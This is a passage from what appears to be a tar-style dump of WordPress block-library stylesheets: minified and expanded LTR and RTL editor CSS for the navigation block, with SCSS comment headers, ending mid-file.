.wp-block-navigation__responsive-close{max-width:none}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content>:not(.wp-block-navigation__overlay-container){display:none}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container{display:block}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container .wp-block-navigation__submenu-container{left:0;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.disable-default-overlay .wp-block-navigation__responsive-container-close{right:clamp(1rem,var(--wp--style--root--padding-left),20rem);top:clamp(1rem,var(--wp--style--root--padding-left),20rem)}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden} navigation/editor-rtl.min.css 0000644 00000026631 15217610761 0012302 0 ustar 00 .editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;color:#fff;margin-left:0;margin-right:auto;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff;height:24px}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.components-placeholder.wp-block-navigation-placeholder{color:inherit}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview{background:#0000;color:currentColor}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;position:relative;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.wp-block-navigation-placeholder__controls{float:right;width:100%}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-left:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-right:4px;padding:0 0 0 6px}.wp-block-navigation-placeholder__actions__indicator svg{fill:currentColor;margin-left:4px}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions{height:100%}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:159px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{right:36px;top:97px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:145px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:159px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:65px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:113px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;grid-column:span 2;height:64px!important;justify-content:space-between;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls__empty-message{margin-right:24px}.editor-sidebar__panel .wp-block-navigation__submenu-header{margin-bottom:0;margin-top:0}.wp-block-navigation__submenu-accessibility-notice{grid-column:span 2}.wp-block-navigation__overlay-selector{position:relative}.wp-block-navigation__overlay-selector-controls{margin-bottom:8px}.wp-block-navigation__overlay-create-button{left:0;position:absolute;top:-4px;z-index:1}.wp-block-navigation__overlay-preview{background:#fff;border:1px solid #ddd;border-radius:2px;max-height:200px;overflow-y:auto}.wp-block-navigation__overlay-preview-empty,.wp-block-navigation__overlay-preview-loading{align-items:center;background:#f0f0f0;display:flex;justify-content:center;min-height:200px}.wp-block-navigation__overlay-preview-empty{color:#757575;font-style:italic;padding:16px;text-align:center}.wp-block-navigation__overlay-preview-placeholder{animation:wp-block-navigation-overlay-preview-pulse 1.5s ease-in-out infinite;background:#f0f0f0;height:200px;width:100%}@keyframes wp-block-navigation-overlay-preview-pulse{0%,to{opacity:1}50%{opacity:.5}}.wp-block-navigation__deleted-overlay-warning{margin-top:12px}.wp-block-navigation__overlay-create-button-prominent{justify-content:center;margin-bottom:8px;width:100%}.wp-block-navigation__overlay-help-text-wrapper{margin-top:8px} navigation/editor-rtl.css 0000644 00000036057 15217610761 0011523 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ /** * Editor only CSS. */ .editor-styles-wrapper .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-right: 0; padding-right: 0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block { margin: revert; } .wp-block-navigation-item__label { display: inline; } /** * Submenus. */ .wp-block-navigation__container, .wp-block-navigation-item { background-color: inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover > .wp-block-navigation__submenu-container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__submenu-container, .has-child.has-child-selected > .wp-block-navigation__submenu-container { display: flex; opacity: 1; visibility: visible; } .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender { display: block; position: static; width: 100%; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender .block-editor-button-block-appender { color: #fff; background: #1e1e1e; padding: 0; width: 24px; margin-left: 0; margin-right: auto; } .wp-block-navigation__submenu-container .block-list-appender { display: none; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-right: auto; margin-left: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: left; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .wp-block-navigation .wp-block + .block-list-appender .block-editor-button-block-appender { background-color: #1e1e1e; color: #fff; height: 24px; } .wp-block-navigation .wp-block + .block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender { padding: 0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender { background-color: transparent; color: #1e1e1e; } /** * Setup state */ @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } .components-placeholder.wp-block-navigation-placeholder { outline: none; padding: 0; box-shadow: none; background: none; min-height: 0; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset { font-size: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button { margin-bottom: 0; } .components-placeholder.wp-block-navigation-placeholder { color: inherit; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder { color: #1e1e1e; } .wp-block-navigation-placeholder__preview { display: flex; align-items: center; min-width: 96px; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview { display: none; } .wp-block-navigation-placeholder__preview { color: currentColor; background: transparent; } .wp-block-navigation-placeholder__preview::before { content: ""; display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; pointer-events: none; border: 1px dashed currentColor; border-radius: inherit; } .wp-block-navigation-placeholder__preview > svg { fill: currentColor; } .wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset, .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset { min-height: 90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset { min-height: 132px; } .wp-block-navigation-placeholder__preview, .wp-block-navigation-placeholder__controls { padding: 6px 8px; flex-direction: row; align-items: flex-start; } .wp-block-navigation-placeholder__controls { border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; display: none; position: relative; z-index: 1; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls { display: flex; } .wp-block-navigation-placeholder__controls { float: right; width: 100%; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr { display: none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; align-items: flex-start; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr { display: none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-left: 12px; height: 36px; } .wp-block-navigation-placeholder__actions__indicator { display: flex; padding: 0 0 0 6px; align-items: center; justify-content: flex-start; line-height: 0; height: 36px; margin-right: 4px; } .wp-block-navigation-placeholder__actions__indicator svg { margin-left: 4px; fill: currentColor; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset { flex-direction: row !important; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; gap: 6px; align-items: center; } .wp-block-navigation-placeholder__actions .components-dropdown, .wp-block-navigation-placeholder__actions > .components-button { margin-left: 0; } .wp-block-navigation-placeholder__actions { height: 100%; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr { border: 0; min-height: 1px; min-width: 1px; background-color: #1e1e1e; margin: auto 0; height: 100%; max-height: 16px; } /** * Mobile menu. */ @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close { display: none; } } .wp-block-navigation__responsive-container.is-menu-open { position: fixed; top: 159px; } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { top: 97px; } } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { right: 36px; } } @media (min-width: 960px) { .wp-block-navigation__responsive-container.is-menu-open { right: 160px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 145px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { right: 0; top: 159px; } @media (min-width: 782px) { .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { top: 65px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 113px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open { top: 0; left: 0; bottom: 0; right: 0; } .components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open, .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { padding: 0; height: auto; color: inherit; } .components-heading.wp-block-navigation-off-canvas-editor__title { margin: 0; } .wp-block-navigation-off-canvas-editor__header { margin-bottom: 8px; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender { margin-top: 16px; } @keyframes fadein { 0% { opacity: 0; } 100% { opacity: 1; } } .wp-block-navigation__loading-indicator-container { padding: 8px 12px; } .wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator { margin-top: 0; } @keyframes fadeouthalf { 0% { opacity: 1; } 100% { opacity: 0.5; } } .wp-block-navigation-delete-menu-button { width: 100%; justify-content: center; margin-bottom: 16px; } .components-button.is-link.wp-block-navigation-manage-menus-button { margin-bottom: 16px; } .wp-block-navigation__overlay-menu-preview { display: flex; align-items: center; justify-content: space-between; width: 100%; background-color: #f0f0f0; padding: 0 24px; height: 64px !important; grid-column: span 2; } .wp-block-navigation__overlay-menu-preview.open { box-shadow: inset 0 0 0 1px #e0e0e0; outline: 1px solid transparent; background-color: #fff; } .wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty { display: none; } .wp-block-navigation-placeholder__actions hr + hr { display: none; } /** * Navigation selector styles */ .wp-block-navigation__navigation-selector { margin-bottom: 16px; width: 100%; } .wp-block-navigation__navigation-selector-button { border: 1px solid; justify-content: space-between; width: 100%; } .wp-block-navigation__navigation-selector-button__icon { flex: 0 0 auto; } .wp-block-navigation__navigation-selector-button__label { flex: 0 1 auto; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-block-navigation__navigation-selector-button--createnew { border: 1px solid; margin-bottom: 16px; width: 100%; } .wp-block-navigation__responsive-container-open.components-button { opacity: 1; } .wp-block-navigation__menu-inspector-controls__empty-message { margin-right: 24px; } .editor-sidebar__panel .wp-block-navigation__submenu-header { margin-top: 0; margin-bottom: 0; } .wp-block-navigation__submenu-accessibility-notice { grid-column: span 2; } .wp-block-navigation__overlay-selector { position: relative; } .wp-block-navigation__overlay-selector-controls { margin-bottom: 8px; } .wp-block-navigation__overlay-create-button { position: absolute; top: -4px; left: 0; z-index: 1; } .wp-block-navigation__overlay-preview { border: 1px solid #ddd; border-radius: 2px; overflow-y: auto; max-height: 200px; background: #fff; } .wp-block-navigation__overlay-preview-loading { display: flex; align-items: center; justify-content: center; min-height: 200px; background: #f0f0f0; } .wp-block-navigation__overlay-preview-empty { display: flex; align-items: center; justify-content: center; min-height: 200px; padding: 16px; text-align: center; color: #757575; background: #f0f0f0; font-style: italic; } .wp-block-navigation__overlay-preview-placeholder { width: 100%; height: 200px; background: #f0f0f0; animation: wp-block-navigation-overlay-preview-pulse 1.5s ease-in-out infinite; } @keyframes wp-block-navigation-overlay-preview-pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .wp-block-navigation__deleted-overlay-warning { margin-top: 12px; } .wp-block-navigation__overlay-create-button-prominent { width: 100%; justify-content: center; margin-bottom: 8px; } .wp-block-navigation__overlay-help-text-wrapper { margin-top: 8px; } navigation/editor.css 0000644 00000036054 15217610761 0010721 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ /** * Editor only CSS. */ .editor-styles-wrapper .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-left: 0; padding-left: 0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block { margin: revert; } .wp-block-navigation-item__label { display: inline; } /** * Submenus. */ .wp-block-navigation__container, .wp-block-navigation-item { background-color: inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover > .wp-block-navigation__submenu-container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__submenu-container, .has-child.has-child-selected > .wp-block-navigation__submenu-container { display: flex; opacity: 1; visibility: visible; } .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender { display: block; position: static; width: 100%; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender .block-editor-button-block-appender { color: #fff; background: #1e1e1e; padding: 0; width: 24px; margin-right: 0; margin-left: auto; } .wp-block-navigation__submenu-container .block-list-appender { display: none; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-left: auto; margin-right: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: right; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .wp-block-navigation .wp-block + .block-list-appender .block-editor-button-block-appender { background-color: #1e1e1e; color: #fff; height: 24px; } .wp-block-navigation .wp-block + .block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender { padding: 0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender { background-color: transparent; color: #1e1e1e; } /** * Setup state */ @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } .components-placeholder.wp-block-navigation-placeholder { outline: none; padding: 0; box-shadow: none; background: none; min-height: 0; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset { font-size: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button { margin-bottom: 0; } .components-placeholder.wp-block-navigation-placeholder { color: inherit; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder { color: #1e1e1e; } .wp-block-navigation-placeholder__preview { display: flex; align-items: center; min-width: 96px; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, 